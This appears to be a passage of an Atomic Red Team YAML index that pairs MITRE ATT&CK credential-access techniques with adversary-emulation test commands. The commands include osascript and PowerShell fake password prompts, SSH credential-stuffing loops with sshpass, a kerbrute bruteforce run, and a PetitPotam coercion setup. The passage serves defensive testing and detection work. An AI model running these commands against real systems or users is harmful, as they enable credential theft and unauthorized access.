        Credentialing and authentication mechanisms may be targeted for exploitation by adversaries as a means to gain access to useful credentials or circumvent the process to gain authenticated access to systems. One example of this is `MS14-068`, which targets Kerberos and can be used to forge Kerberos tickets using domain user permissions.(Citation: Technet MS14-068)(Citation: ADSecurity Detecting Forged Tickets) Another example of this is replay attacks, in which the adversary intercepts data packets sent between parties and then later replays these packets. If services don't properly validate authentication requests, these replayed packets may allow an adversary to impersonate one of the parties and gain unauthorized access or privileges.(Citation: Bugcrowd Replay Attack)(Citation: Comparitech Replay Attack)(Citation: Microsoft Midnight Blizzard Replay Attack)

        Such exploitation has been demonstrated in cloud environments as well. For example, adversaries have exploited vulnerabilities in public cloud infrastructure that allowed for unintended authentication token creation and renewal.(Citation: Storm-0558 techniques for unauthorized email access)

        Exploitation for credential access may also result in Privilege Escalation depending on the process targeted or credentials obtained.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      x_mitre_contributors:
      - John Lambert, Microsoft Threat Intelligence Center
      - Mohit Rathore
      x_mitre_deprecated: false
      x_mitre_detection: Detecting software exploitation may be difficult depending
        on the tools available. Software exploits may not always succeed or may cause
        the exploited process to become unstable or crash. Also look for behavior
        on the system that might indicate successful compromise, such as abnormal
        behavior of processes. Credential resources obtained through exploitation
        may be detectable in use if they are not normally used or seen.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - Windows
      - macOS
      - Azure AD
      x_mitre_version: '1.5'
      x_mitre_data_sources:
      - 'User Account: User Account Authentication'
      - 'Process: Process Creation'
      - 'Application Log: Application Log Content'
      type: attack-pattern
      id: attack-pattern--9c306d8d-cde7-4b4c-b6e8-d0bb16caca36
      created: '2018-04-18T17:59:24.739Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1212
        external_id: T1212
      - source_name: Bugcrowd Replay Attack
        description: Bugcrowd. (n.d.). Replay Attack. Retrieved September 27, 2023.
        url: https://www.bugcrowd.com/glossary/replay-attack/
      - source_name: Comparitech Replay Attack
        description: Justin Schamotta. (2022, October 28). What is a replay attack?.
          Retrieved September 27, 2023.
        url: https://www.comparitech.com/blog/information-security/what-is-a-replay-attack/
      - source_name: ADSecurity Detecting Forged Tickets
        description: Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket
          (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December
          23, 2015.
        url: https://adsecurity.org/?p=1515
      - source_name: Storm-0558 techniques for unauthorized email access
        description: Microsoft Threat Intelligence. (2023, July 14). Analysis of Storm-0558
          techniques for unauthorized email access. Retrieved September 18, 2023.
        url: https://www.microsoft.com/en-us/security/blog/2023/07/14/analysis-of-storm-0558-techniques-for-unauthorized-email-access/
      - source_name: Microsoft Midnight Blizzard Replay Attack
        description: Microsoft Threat Intelligence. (2023, June 21). Credential Attacks.
          Retrieved September 27, 2023.
        url: https://twitter.com/MsftSecIntel/status/1671579359994343425
      - source_name: Technet MS14-068
        description: Microsoft. (2014, November 18). Vulnerability in Kerberos Could
          Allow Elevation of Privilege (3011780). Retrieved December 23, 2015.
        url: https://technet.microsoft.com/en-us/library/security/ms14-068.aspx
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1056.002:
    technique:
      modified: '2024-04-15T23:39:31.474Z'
      name: 'Input Capture: GUI Input Capture'
      description: |-
        Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)).

        Adversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware)(Citation: Spoofing credential dialogs) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015)(Citation: Spoofing credential dialogs) On Linux systems adversaries may launch dialog boxes prompting users for credentials from malicious shell scripts or the command line (i.e. [Unix Shell](https://attack.mitre.org/techniques/T1059/004)).(Citation: Spoofing credential dialogs)

        Adversaries may also mimic common software authentication requests, such as those from browsers or email clients. This may also be paired with user activity monitoring (i.e., [Browser Information Discovery](https://attack.mitre.org/techniques/T1217) and/or [Application Window Discovery](https://attack.mitre.org/techniques/T1010)) to spoof prompts when users are naturally accessing sensitive sites/data.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      x_mitre_contributors:
      - Matthew Molyett, @s1air, Cisco Talos
      x_mitre_deprecated: false
      x_mitre_detection: "Monitor process execution for unusual programs as well as
        malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)
        that could be used to prompt users for credentials. For example, command/script
        history including abnormal parameters (such as requests for credentials and/or
        strings related to creating password prompts) may be malicious.(Citation:
        Spoofing credential dialogs) \n\nInspect and scrutinize input prompts for
        indicators of illegitimacy, such as non-traditional banners, text, timing,
        and/or sources. "
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - macOS
      - Windows
      - Linux
      x_mitre_version: '1.3'
      x_mitre_data_sources:
      - 'Script: Script Execution'
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      type: attack-pattern
      id: attack-pattern--a2029942-0a85-4947-b23c-ca434698171d
      created: '2020-02-11T18:58:45.908Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1056/002
        external_id: T1056.002
      - source_name: LogRhythm Do You Trust Oct 2014
        description: Foss, G. (2014, October 3). Do You Trust Your Computer?. Retrieved
          December 17, 2018.
        url: https://logrhythm.com/blog/do-you-trust-your-computer/
      - source_name: Spoofing credential dialogs
        description: Johann Rehberger. (2021, April 18). Spoofing credential dialogs
          on macOS Linux and Windows. Retrieved August 19, 2021.
        url: https://embracethered.com/blog/posts/2021/spoofing-credential-dialogs/
      - source_name: OSX Keydnap malware
        description: Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware
          is hungry for credentials. Retrieved July 3, 2017.
        url: https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/
      - source_name: Enigma Phishing for Credentials Jan 2015
        description: 'Nelson, M. (2015, January 21). Phishing for Credentials: If
          you want it, just ask!. Retrieved December 17, 2018.'
        url: https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/
      - source_name: OSX Malware Exploits MacKeeper
        description: Sergei Shevchenko. (2015, June 4). New Mac OS Malware Exploits
          Mackeeper. Retrieved July 3, 2017.
        url: https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1056.002
    atomic_tests:
    - name: AppleScript - Prompt User for Password
      auto_generated_guid: 76628574-0bc1-4646-8fe2-8f4427b47d15
      description: |
        Prompt User for Password (Local Phishing)
        Reference: http://fuzzynop.blogspot.com/2014/10/osascript-for-local-phishing.html
      supported_platforms:
      - macos
      executor:
        command: 'osascript -e ''tell app "System Preferences" to activate'' -e ''tell
          app "System Preferences" to activate'' -e ''tell app "System Preferences"
          to display dialog "Software Update requires that you type your password
          to apply changes." & return & return  default answer "" with icon 1 with
          hidden answer with title "Software Update"''

          '
        name: bash
    - name: PowerShell - Prompt User for Password
      auto_generated_guid: 2b162bfd-0928-4d4c-9ec3-4d9f88374b52
      description: |
        Prompt User for Password (Local Phishing) as seen in Stitch RAT. Upon execution, a window will appear for the user to enter their credentials.

        Reference: https://github.com/nathanlopez/Stitch/blob/master/PyLib/askpass.py
      supported_platforms:
      - windows
      executor:
        command: "# Creates GUI to prompt for password. Expect long pause before prompt
          is available.    \n$cred = $host.UI.PromptForCredential('Windows Security
          Update', '',[Environment]::UserName, [Environment]::UserDomainName)\n# Using
          write-warning to allow message to show on console as echo and other similar
          commands are not visable from the Invoke-AtomicTest framework.\nwrite-warning
          $cred.GetNetworkCredential().Password\n"
        name: powershell
    - name: AppleScript - Spoofing a credential prompt using osascript
      auto_generated_guid: b7037b89-947a-427a-ba29-e7e9f09bc045
      description: |
        Prompt user for password without requiring permissions to send Apple events to System Settings.
        https://embracethered.com/blog/posts/2021/spoofing-credential-dialogs/
      supported_platforms:
      - macos
      executor:
        command: |
          PWD_SPOOF=$(osascript -e 'display dialog "To perform a security update MacOS needs your passphrase." with title "MacOS Security Update" default answer "" with icon stop with hidden answer')
          echo $PWD_SPOOF
        name: bash
  T1110:
    technique:
      modified: '2024-01-29T18:53:26.593Z'
      name: Brute Force
      description: |-
        Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained.(Citation: TrendMicro Pawn Storm Dec 2020) Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism.(Citation: Dragos Crashoverride 2018) Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes.

        Brute forcing credentials may take place at various points during a breach. For example, adversaries may attempt to brute force access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), [Account Discovery](https://attack.mitre.org/techniques/T1087), or [Password Policy Discovery](https://attack.mitre.org/techniques/T1201). Adversaries may also combine brute forcing activity with behaviors such as [External Remote Services](https://attack.mitre.org/techniques/T1133) as part of Initial Access.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      x_mitre_contributors:
      - David Fiser, @anu4is, Trend Micro
      - Alfredo Oliveira, Trend Micro
      - Magno Logan, @magnologan, Trend Micro
      - Yossi Weizman, Azure Defender Research Team
      - Ed Williams, Trustwave, SpiderLabs
      - Mohamed Kmal
      x_mitre_deprecated: false
      x_mitre_detection: Monitor authentication logs for system and application login
        failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If
        authentication failures are high, then there may be a brute force attempt
        to gain access to a system using legitimate credentials. Also monitor for
        many failed authentication attempts across various accounts that may result
        from password spraying attempts. It is difficult to detect when hashes are
        cracked, since this is generally done outside the scope of the target network.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      - Azure AD
      - Office 365
      - SaaS
      - IaaS
      - Linux
      - macOS
      - Google Workspace
      - Containers
      - Network
      x_mitre_version: '2.5'
      x_mitre_data_sources:
      - 'User Account: User Account Authentication'
      - 'Command: Command Execution'
      - 'Application Log: Application Log Content'
      type: attack-pattern
      id: attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd
      created: '2017-05-31T21:31:22.767Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1110
        external_id: T1110
      - source_name: TrendMicro Pawn Storm Dec 2020
        description: Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm’s
          Lack of Sophistication as a Strategy. Retrieved January 13, 2021.
        url: https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html
      - source_name: Dragos Crashoverride 2018
        description: 'Joe Slowik. (2018, October 12). Anatomy of an Attack: Detecting
          and Defeating CRASHOVERRIDE. Retrieved December 18, 2020.'
        url: https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1110.004:
    technique:
      modified: '2024-03-07T14:28:02.910Z'
      name: 'Brute Force: Credential Stuffing'
      description: |-
        Adversaries may use credentials obtained from breach dumps of unrelated accounts to gain access to target accounts through credential overlap. Occasionally, large numbers of username and password pairs are dumped online when a website or service is compromised and the user account credentials accessed. The information may be useful to an adversary attempting to compromise accounts by taking advantage of the tendency for users to use the same passwords across personal and business accounts.

        Credential stuffing is a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies.

        Typically, management services over commonly used ports are used when stuffing credentials. Commonly targeted services include the following:

        * SSH (22/TCP)
        * Telnet (23/TCP)
        * FTP (21/TCP)
        * NetBIOS / SMB / Samba (139/TCP & 445/TCP)
        * LDAP (389/TCP)
        * Kerberos (88/TCP)
        * RDP / Terminal Services (3389/TCP)
        * HTTP/HTTP Management Services (80/TCP & 443/TCP)
        * MSSQL (1433/TCP)
        * Oracle (1521/TCP)
        * MySQL (3306/TCP)
        * VNC (5900/TCP)

        In addition to management services, adversaries may "target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols," as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      x_mitre_contributors:
      - Diogo Fernandes
      - Anastasios Pingios
      x_mitre_deprecated: false
      x_mitre_detection: Monitor authentication logs for system and application login
        failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If
        authentication failures are high, then there may be a brute force attempt
        to gain access to a system using legitimate credentials.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      - Azure AD
      - Office 365
      - SaaS
      - IaaS
      - Linux
      - macOS
      - Google Workspace
      - Containers
      - Network
      x_mitre_version: '1.5'
      x_mitre_data_sources:
      - 'Application Log: Application Log Content'
      - 'User Account: User Account Authentication'
      type: attack-pattern
      id: attack-pattern--b2d03cea-aec1-45ca-9744-9ee583c1e1cc
      created: '2020-02-11T18:39:59.959Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1110/004
        external_id: T1110.004
      - source_name: US-CERT TA18-068A 2018
        description: US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted
          by Cyber Actors. Retrieved October 2, 2019.
        url: https://www.us-cert.gov/ncas/alerts/TA18-086A
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1110.004
    atomic_tests:
    - name: SSH Credential Stuffing From Linux
      auto_generated_guid: 4f08197a-2a8a-472d-9589-cd2895ef22ad
      description: 'Using username,password combination from a password dump to login
        over SSH.

        '
      supported_platforms:
      - linux
      input_arguments:
        target_host:
          description: IP Address / Hostname you want to target.
          type: string
          default: localhost
      dependency_executor_name: bash
      dependencies:
      - description: 'Requires SSHPASS

          '
        prereq_command: 'if [ -x "$(command -v sshpass)" ]; then exit 0; else exit
          1; fi;

          '
        get_prereq_command: 'if [ $(cat /etc/os-release | grep -i ID=ubuntu) ] ||
          [ $(cat /etc/os-release | grep -i ID=kali) ]; then sudo apt update && sudo
          apt install sshpass -y; else echo "This test requires sshpass" ; fi ;

          '
      executor:
        name: bash
        elevation_required: false
        command: |
          cp "$PathToAtomicsFolder/T1110.004/src/credstuffuserpass.txt" /tmp/
          for unamepass in $(cat /tmp/credstuffuserpass.txt);do sshpass -p `echo $unamepass | cut -d":" -f2` ssh -o 'StrictHostKeyChecking=no' `echo $unamepass | cut -d":" -f1`@#{target_host};done
    - name: SSH Credential Stuffing From MacOS
      auto_generated_guid: d546a3d9-0be5-40c7-ad82-5a7d79e1b66b
      description: 'Using username,password combination from a password dump to login
        over SSH.

        '
      supported_platforms:
      - macos
      input_arguments:
        target_host:
          description: IP Address / Hostname you want to target.
          type: string
          default: localhost
      dependency_executor_name: bash
      dependencies:
      - description: 'Requires SSHPASS

          '
        prereq_command: 'if [ -x "$(command -v sshpass)" ]; then exit 0; else exit
          1; fi;

          '
        get_prereq_command: |
          /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/e8114640740938c20cc41ffdbf07816b428afc49/install.sh)"
          brew install hudochenkov/sshpass/sshpass
      executor:
        name: bash
        elevation_required: false
        command: |
          cp "$PathToAtomicsFolder/T1110.004/src/credstuffuserpass.txt" /tmp/
          for unamepass in $(cat /tmp/credstuffuserpass.txt);do sshpass -p `echo $unamepass | cut -d":" -f2` ssh -o 'StrictHostKeyChecking=no' `echo $unamepass | cut -d":" -f1`@#{target_host};done
    - name: SSH Credential Stuffing From FreeBSD
      auto_generated_guid: a790d50e-7ebf-48de-8daa-d9367e0911d4
      description: 'Using username,password combination from a password dump to login
        over SSH.

        '
      supported_platforms:
      - linux
      input_arguments:
        target_host:
          description: IP Address / Hostname you want to target.
          type: string
          default: localhost
      dependency_executor_name: sh
      dependencies:
      - description: 'Requires SSHPASS

          '
        prereq_command: 'if [ -x "$(command -v sshpass)" ]; then exit 0; else exit
          1; fi;

          '
        get_prereq_command: 'pkg install -y sshpass

          '
      executor:
        name: sh
        elevation_required: false
        command: |
          cp $PathToAtomicsFolder/T1110.004/src/credstuffuserpass.txt /tmp/
          for unamepass in $(cat /tmp/credstuffuserpass.txt);do sshpass -p `echo $unamepass | cut -d":" -f2` ssh -o 'StrictHostKeyChecking=no' `echo $unamepass | cut -d":" -f1`@#{target_host};done
    - name: Brute Force:Credential Stuffing using Kerbrute Tool
      auto_generated_guid: 4852c630-87a9-409b-bb5e-5dc12c9ebcde
      description: 'Will read username and password combos from a file or stdin (format
        username:password) and perform a bruteforce attack

        '
      supported_platforms:
      - windows
      input_arguments:
        domaincontroller:
          description: Domain controller where test will be run
          type: string
          default: "$ENV:userdnsdomain"
        domain:
          description: Domain where you will be testing
          type: string
          default: "$ENV:userdomain"
      dependency_executor_name: powershell
      dependencies:
      - description: 'kerbrute.exe must exist in PathToAtomicsFolder\..\ExternalPayloads

          '
        prereq_command: 'if (test-path "PathToAtomicsFolder\..\ExternalPayloads\kerbrute.exe"){exit
          0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          invoke-webrequest "https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_windows_386.exe" -outfile "PathToAtomicsFolder\..\ExternalPayloads\kerbrute.exe"
      - description: 'bruteforce.txt must exist in PathToAtomicsFolder\..\ExternalPayloads

          '
        prereq_command: 'if (test-path "PathToAtomicsFolder\..\ExternalPayloads\bruteforce.txt"){exit
          0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          invoke-webrequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1110.004/src/bruteforce.txt?raw=true" -outfile "PathToAtomicsFolder\..\ExternalPayloads\bruteforce.txt"
      executor:
        name: powershell
        elevation_required: false
        command: "cd \"PathToAtomicsFolder\\..\\ExternalPayloads\"\n.\\kerbrute.exe
          bruteforce --dc #{domaincontroller} -d #{domain} \"PathToAtomicsFolder\\..\\ExternalPayloads\\bruteforce.txt\"
          \     \n"
  T1556.006:
    technique:
      modified: '2024-04-16T00:20:21.488Z'
      name: Multi-Factor Authentication
      description: "Adversaries may disable or modify multi-factor authentication
        (MFA) mechanisms to enable persistent access to compromised accounts.\n\nOnce
        adversaries have gained access to a network by either compromising an account
        lacking MFA or by employing an MFA bypass method such as [Multi-Factor Authentication
        Request Generation](https://attack.mitre.org/techniques/T1621), adversaries
        may leverage their access to modify or completely disable MFA defenses. This
        can be accomplished by abusing legitimate features, such as excluding users
        from Azure AD Conditional Access Policies, registering a new yet vulnerable/adversary-controlled
        MFA method, or by manually patching MFA programs and configuration files to
        bypass expected functionality.(Citation: Mandiant APT42)(Citation: Azure AD
        Conditional Access Exclusions)\n\nFor example, modifying the Windows hosts
        file (`C:\\windows\\system32\\drivers\\etc\\hosts`) to redirect MFA calls
        to localhost instead of an MFA server may cause the MFA process to fail. If
        a \"fail open\" policy is in place, any otherwise successful authentication
        attempt may be granted access without enforcing MFA. (Citation: Russians Exploit
        Default MFA Protocol - CISA March 2022) \n\nDepending on the scope, goals,
        and privileges of the adversary, MFA defenses may be disabled for individual
        accounts or for all accounts tied to a larger group, such as all domain accounts
        in a victim's network environment.(Citation: Russians Exploit Default MFA
        Protocol - CISA March 2022) "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_contributors:
      - Liran Ravich, CardinalOps
      - Muhammad Moiz Arshad, @5T34L7H
      x_mitre_deprecated: false
      x_mitre_detection: ''
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      - Azure AD
      - Office 365
      - SaaS
      - IaaS
      - Google Workspace
      - Linux
      - macOS
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Logon Session: Logon Session Creation'
      - 'Application Log: Application Log Content'
      - 'Active Directory: Active Directory Object Modification'
      - 'User Account: User Account Authentication'
      - 'User Account: User Account Modification'
      x_mitre_defense_bypassed:
      - Multi-Factor Authentication
      type: attack-pattern
      id: attack-pattern--b4409cd8-0da9-46e1-a401-a241afd4d1cc
      created: '2022-05-31T19:31:38.431Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1556/006
        external_id: T1556.006
      - source_name: Russians Exploit Default MFA Protocol - CISA March 2022
        description: Cyber Security Infrastructure Agency. (2022, March 15). Russian
          State-Sponsored Cyber Actors Gain Network Access by Exploiting Default Multifactor
          Authentication Protocols and “PrintNightmare” Vulnerability. Retrieved May
          31, 2022.
        url: https://www.cisa.gov/uscert/ncas/alerts/aa22-074a
      - source_name: Mandiant APT42
        description: 'Mandiant. (n.d.). APT42: Crooked Charms, Cons and Compromise.
          Retrieved September 16, 2022.'
        url: https://www.mandiant.com/media/17826
      - source_name: Azure AD Conditional Access Exclusions
        description: Microsoft. (2022, August 26). Use Azure AD access reviews to
          manage users excluded from Conditional Access policies. Retrieved August
          30, 2022.
        url: https://docs.microsoft.com/en-us/azure/active-directory/governance/conditional-access-exclusion
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1187:
    technique:
      modified: '2023-08-14T19:30:45.123Z'
      name: Forced Authentication
      description: |-
        Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept.

        The Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system. (Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources.

        Web Distributed Authoring and Versioning (WebDAV) is also typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443. (Citation: Didier Stevens WebDAV Traffic) (Citation: Microsoft Managing WebDAV Security)

        Adversaries may take advantage of this behavior to gain access to user account hashes through forced SMB/WebDAV authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource it will attempt authentication and send information, including the user's hashed credentials, over SMB to the adversary controlled server. (Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line [Brute Force](https://attack.mitre.org/techniques/T1110) cracking to gain access to plaintext credentials. (Citation: Cylance Redirect to SMB)

        There are several different ways this can occur. (Citation: Osanda Stealing NetNTLM Hashes) Some specifics from in-the-wild use include:

        * A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)). The document can include, for example, a request similar to <code>file[:]//[remote address]/Normal.dotm</code> to trigger the SMB request. (Citation: US-CERT APT Energy Oct 2017)
        * A modified .LNK or .SCF file with the icon filename pointing to an external reference such as <code>\\[remote address]\pic.png</code> that will force the system to load the resource when the icon is rendered to repeatedly gather credentials. (Citation: US-CERT APT Energy Oct 2017)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      x_mitre_contributors:
      - Teodor Cimpoesu
      - Sudhanshu Chauhan, @Sudhanshu_C
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Monitor for SMB traffic on TCP ports 139, 445 and UDP port 137 and WebDAV traffic attempting to exit the network to unknown external systems. If attempts are detected, then investigate endpoint data sources to find the root cause. For internal traffic, monitor the workstation-to-workstation unusual (vs. baseline) SMB traffic. For many networks there should not be any, but it depends on how systems on the network are configured and where resources are located.

        Monitor creation and modification of .LNK, .SCF, or any other files on systems and within virtual environments that contain resources that point to external network resources as these could be used to gather credentials when the files are rendered. (Citation: US-CERT APT Energy Oct 2017)
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.3'
      x_mitre_data_sources:
      - 'File: File Access'
      - 'Network Traffic: Network Traffic Flow'
      - 'File: File Modification'
      - 'File: File Creation'
      - 'Network Traffic: Network Traffic Content'
      type: attack-pattern
      id: attack-pattern--b77cf5f3-6060-475d-bd60-40ccbf28fdc2
      created: '2018-01-16T16:13:52.465Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1187
        external_id: T1187
      - source_name: Cylance Redirect to SMB
        description: Cylance. (2015, April 13). Redirect to SMB. Retrieved December
          21, 2017.
        url: https://www.cylance.com/content/dam/cylance/pdfs/white_papers/RedirectToSMB.pdf
      - source_name: GitHub Hashjacking
        description: Dunning, J. (2016, August 1). Hashjacking. Retrieved December
          21, 2017.
        url: https://github.com/hob0/hashjacking
      - source_name: Microsoft Managing WebDAV Security
        description: Microsoft. (n.d.). Managing WebDAV Security (IIS 6.0). Retrieved
          December 21, 2017.
        url: https://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/4beddb35-0cba-424c-8b9b-a5832ad8e208.mspx
      - source_name: Osanda Stealing NetNTLM Hashes
        description: Osanda Malith Jayathissa. (2017, March 24). Places of Interest
          in Stealing NetNTLM Hashes. Retrieved January 26, 2018.
        url: https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/
      - source_name: Didier Stevens WebDAV Traffic
        description: Stevens, D. (2017, November 13). WebDAV Traffic To Malicious
          Sites. Retrieved December 21, 2017.
        url: https://blog.didierstevens.com/2017/11/13/webdav-traffic-to-malicious-sites/
      - source_name: US-CERT APT Energy Oct 2017
        description: 'US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent
          Threat Activity Targeting Energy and Other Critical Infrastructure Sectors.
          Retrieved November 2, 2017.'
        url: https://www.us-cert.gov/ncas/alerts/TA17-293A
      - source_name: Wikipedia Server Message Block
        description: Wikipedia. (2017, December 16). Server Message Block. Retrieved
          December 21, 2017.
        url: https://en.wikipedia.org/wiki/Server_Message_Block
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1187
    atomic_tests:
    - name: PetitPotam
      auto_generated_guid: 485ce873-2e65-4706-9c7e-ae3ab9e14213
      description: 'This module runs the Windows executable of PetitPotam in order
        to coerce authentication for a remote system.

        '
      supported_platforms:
      - windows
      input_arguments:
        captureServerIP:
          description: Computer IP to use to receive the authentication (ex. attacker
            machine used for NTLM relay)
          type: string
          default: 10.0.0.3
        targetServerIP:
          description: Computer IP to force authentication from (ex. domain controller)
          type: string
          default: 10.0.0.2
        efsApi:
          description: EFS API to use to coerce authentication
          type: integer
          default: 1
        petitpotam_path:
          description: PetitPotam Windows executable
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\PetitPotam.exe
      dependency_executor_name: powershell
      dependencies:
      - description: |
          PetitPotam binary must exist on disk and at specified location (#{petitpotam_path}).
          And the computer must be domain joined (implicit authentication).
        prereq_command: 'if (Test-Path "#{petitpotam_path}") { exit 0 } else { exit
          1 }

          '
        get_prereq_command: |
